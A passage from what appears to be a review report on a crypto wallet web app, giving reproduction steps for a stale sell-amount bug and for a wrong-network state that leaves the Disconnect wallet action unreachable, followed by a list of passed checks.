      Click Buy → Max, then click Sell while the gas request is pending.

      The Sell field is initially empty.

      Release the gas response: #amount changes to 2.9992 while .amount-row .currency reads REKTD.

      Expected: the cleared Sell amount stays empty; actual: the previous ETH maximum populates a token sell.

      Repeated in both engines; no transaction was sent.

    • mediumbug: a wrong-network connection makes Disconnect wallet unreachableweb/src/Wallet.tsx:219

      Now: When the connected wallet is on another chain, the only header wallet control calls switchNetwork() and can never open the connected-wallet dialog. If switching is rejected or unsupported, the existing Disconnect wallet action is inaccessible.

      Change to: Keep the connected-wallet dialog reachable on a wrong chain and expose the existing network-switch action alongside its existing Disconnect wallet action. Preserve the connector and switch/add-chain implementation.

      Why: A failed network switch must leave a route to disconnect and choose another wallet; repeatedly retrying the same unsupported wallet is not a complete recovery path.

      At 390×844 in Chromium and WebKit, load dist/ with the existing mock configured as createMock({chainId: 1, rejectSwitch: true}).

      Click Connect wallet → Arena test wallet.

      Reject the automatic switch, then click the header Switch to Robinhood Chain control again.

      Both attempts request wallet_switchEthereumChain and show Request declined in your wallet.

      You can try again.

      Measured afterward: 2 switch requests, 0 open dialogs, and 0 accessible Disconnect wallet buttons.

      Expected: the visitor can open wallet controls and disconnect/select another wallet without first accepting the chain switch.

      The only Disconnect wallet element is inside a closed dialog, so keyboard interaction cannot reach it either.

      No signature or transaction is needed to reproduce.

  16. Checkedall checks passed
    • deployment-config
    • static-assets
    • html-assets
    • named-entrypoint
    • named-assets
    • contract-abis
    • chain-state